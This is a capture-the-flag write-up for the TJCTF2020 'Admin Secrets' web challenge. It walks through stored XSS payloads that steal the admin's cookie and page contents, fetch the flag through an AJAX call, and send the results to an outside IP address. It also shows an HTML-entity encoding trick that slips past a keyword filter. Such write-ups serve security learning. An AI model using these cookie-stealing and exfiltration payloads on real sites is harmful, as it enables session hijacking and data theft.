TJCTF2020 - Admin Secrets

Posted on mar. 02 juin 2020 in CTF

solves : 72

Points: 100

Written by avz92

See if you can get the flag from the admin at this website!

Hint: The admin can see something you can't. Check the page source.

After create a new account, we can create a text to share it with everyone.

admin_secrets.png

It's like basic user input that can be exploit with XXS attack.

Let's ckeck if it's vunlerable with some basic XSS code. We can get the admin cookie with the following code:

<script>document.addEventListener('DOMContentLoaded', function(){new Image().src="http://x.x.x.x/cookie.php?c="+document.cookie;}, false);</script>

We send our text and click on the admin button. We check our server log and check if we have any request:

"GET /cookie.php?c=hint=%22Check%20the%20admin%20console!\x5C012%22 HTTP/1.1"

Perfect! We have a fonction XSS form. We have to figure out where is the flag.

The admin from the cookie we got earlier gave us a hint: "Check the admin console!". Maybe we can get something else if we have access to the admin console code.

<script>document.addEventListener('DOMContentLoaded', function(){new Image().src="http://x.x.x.x/cookie.php?c="+$('.admin_console').children().html();}, false);</script>
"GET /cookie.php?c=%3Cbutton%20class=%22btn%20btn-primary%20flag-button%22%3EAccess%20Flag%3C/button%3E HTTP/1.1"

As decode, we have: <button class="btn btn-primary flag-button">Access Flag</button>. Great! We can access the flag if we click on the button. But before, it's good to check if there is no JS function associate with the trigger. We can use findHandlersJS code to log the event as before and get the code.

"GET /?c=function(e){%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20$.ajax({%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20type:%20%22GET%22,%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20url:%20%22/admin_flag%22,%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20success:%20function(resp)%20{%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20flag=resp;$(%22 HTTP/1.1"

We have a start of AJAX function:

function(e){
    $.ajax({
        type: "GET",
        url: "/admin_flag",
        success: function(resp) {
            flag=resp;$(
````

So. The flag is read from the page `admin_flag` (tried to access with curl or browser but denied ^^).

We need the admin to perform the action for us. We can replace the previous XSS code with a AJAX get who will make a request with the result.

```html
<IMG SRC=/ onerror="
document.addEventListener('DOMContentLoaded', function(){
$.ajax({
                    type: 'GET',
                    url: '/admin_flag',
                    success: function(resp) {
                        new Image().src='http://51.159.35.66/?c='+resp;
                    }
                });
});"></img>

Submit the form, and click again to the button.

/?c=This%20post%20contains%20unsafe%20content.%20To%20prevent%20unauthorized%20access,%20the%20flag%20cannot%20be%20accessed%20for%20the%20following%20violations:%20Script%20tags%20found.%20Single%20quote%20found.%20Double%20quote%20found.%20Parenthesis%20found.

Hum. It works but got spotted by the filter. Let's encode the JS code with html-entities (https://mothereff.in/html-entities):

<IMG SRC=/ onerror=&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x61;&#x64;&#x64;&#x45;&#x76;&#x65;&#x6E;&#x74;&#x4C;&#x69;&#x73;&#x74;&#x65;&#x6E;&#x65;&#x72;&#x28;&#x27;&#x44;&#x4F;&#x4D;&#x43;&#x6F;&#x6E;&#x74;&#x65;&#x6E;&#x74;&#x4C;&#x6F;&#x61;&#x64;&#x65;&#x64;&#x27;&#x2C;&#x20;&#x66;&#x75;&#x6E;&#x63;&#x74;&#x69;&#x6F;&#x6E;&#x28;&#x29;&#x7B;&#xA;&#x24;&#x2E;&#x61;&#x6A;&#x61;&#x78;&#x28;&#x7B;&#xA;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x74;&#x79;&#x70;&#x65;&#x3A;&#x20;&#x27;&#x47;&#x45;&#x54;&#x27;&#x2C;&#xA;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x75;&#x72;&#x6C;&#x3A;&#x20;&#x27;&#x2F;&#x61;&#x64;&#x6D;&#x69;&#x6E;&#x5F;&#x66;&#x6C;&#x61;&#x67;&#x27;&#x2C;&#xA;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x73;&#x75;&#x63;&#x63;&#x65;&#x73;&#x73;&#x3A;&#x20;&#x66;&#x75;&#x6E;&#x63;&#x74;&#x69;&#x6F;&#x6E;&#x28;&#x72;&#x65;&#x73;&#x70;&#x29;&#x20;&#x7B;&#xA;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x6E;&#x65;&#x77;&#x20;&#x49;&#x6D;&#x61;&#x67;&#x65;&#x28;&#x29;&#x2E;&#x73;&#x72;&#x63;&#x3D;&#x27;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x35;&#x31;&#x2E;&#x31;&#x35;&#x39;&#x2E;&#x33;&#x35;&#x2E;&#x36;&#x36;&#x2F;&#x3F;&#x63;&#x3D;&#x27;&#x2B;&#x72;&#x65;&#x73;&#x70;&#x3B;&#xA;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x7D;&#xA;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x7D;&#x29;&#x3B;&#xA;&#x7D;&#x29;&#x3B;></img>

Submit again. Click the button. And VICTORY!

"GET /?c=tjctf{st0p_st3aling_th3_ADm1ns_fl4gs} HTTP/1.1"